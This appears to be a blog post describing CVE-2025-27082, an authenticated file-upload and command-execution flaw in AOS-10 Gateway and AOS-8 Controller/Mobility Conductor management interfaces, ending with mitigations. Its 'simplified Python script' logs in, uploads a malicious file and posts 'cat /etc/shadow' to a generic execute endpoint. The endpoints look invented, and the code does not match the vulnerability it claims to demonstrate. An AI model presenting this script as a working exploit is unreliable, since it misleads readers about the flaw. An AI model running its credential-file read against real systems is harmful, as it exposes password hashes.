CVE-2025-27082 refers to a recently discovered exploit that affects the web-based management interfaces of two popular operating systems, AOS-10 GW and AOS-8 Controller/Mobility Conductor. This vulnerability allows an authenticated attacker to upload arbitrary files and execute arbitrary commands on the underlying host operating system. This post will detail and explain the target systems, critical components of the exploit, and the potential risks that this vulnerability presents.

Overview of AOS-10 Gateway and AOS-8 Controller/Mobility Conductor

The AOS-10 Gateway and AOS-8 Controller/Mobility Conductor are two widely used network devices that manage and secure traffic for a variety of enterprises and service providers. They provide users with a web-based management interface, which makes remote administration and management tasks easy to perform. However, this convenience comes with a severe consequence, as an attacker can exploit this CVE-2025-27082 vulnerability to gain unauthorized privileges and manipulate system files.

Vulnerability Impact and Exploitation Details

The primary impact of exploiting this arbitrary file write vulnerability is the ability for an attacker to execute any command on the host operating system. This raises multiple concerns:

1. Confidentiality breach: The attacker can read and extract sensitive information, including customer data, financial records, and other proprietary information.
2. Integrity breach: The attacker can modify system files, configurations or inject malicious payloads, potentially compromising entire networks.
3. Availability breach: The attacker can disable the management interface, disrupt critical services, and even engage in denial-of-service (DoS) attacks.

The exploitation process involves the following activities

1. Authentication: To exploit this vulnerability, the attacker must have valid login credentials for accessing the target system's management interface.
2. File Upload: Once authenticated, the attacker can manipulate the file-upload process by using specially crafted web requests or file uploads. (e.g., using a legitimate file-upload feature to store malicious files or injecting malicious code into previously uploaded files)
3. Command Execution: Once a malicious file has been uploaded, the attacker can then execute arbitrary commands on the underlying operating system.

Code Snippet

Below is a simplified Python script that demonstrates how an attacker could exploit this vulnerability:

import requests

# Authentication step
url = "http://target_system_address/login";
username = "attacker_username"
password = "attacker_password"
auth_data = {"username": username, "password": password}
auth_response = requests.post(url, data=auth_data)

# File upload step
url = "http://target_system_address/upload";
headers = {"Authorization": auth_response.headers["Authorization"]}
file = open("malicious_file.txt", "rb")
file_data = {"file": file}
upload_response = requests.post(url, headers=headers, files=file_data)

# Command execution step
url = "http://target_system_address/execute";
command = "cat /etc/shadow"
exec_data = {"command": command}
exec_response = requests.post(url, headers=headers, json=exec_data)
print(exec_response.text)

This vulnerability has been reported in the following security advisories

1. AOS-10 GW Advisory
2. AOS-8 Controller/Mobility Conductor Advisory

System administrators and security engineers should apply patches/updates provided by vendors to address this vulnerability as soon as possible. Additionally, the following steps are recommended for mitigating the risk:

1. Ensure strong passwords and multi-factor authentication (MFA) are utilized for administrative accounts.

Regularly audit and monitor user access to the web-based management interface.

3. Isolate management interfaces from broader network access using firewalls, VPNs, or access control lists (ACLs).

Conclusion

CVE-2025-27082 poses a significant security risk due to its arbitrary file write and code execution implications. By following the recommended mitigation strategies and promptly applying security updates, organizations can reduce the likelihood of a successful attack on their AOS-10 Gateway or AOS-8 Controller/Mobility Conductor systems. It is essential that organizations remain vigilant and maintain a proactive stance to protect their networks, infrastructure, and users from potential threats.
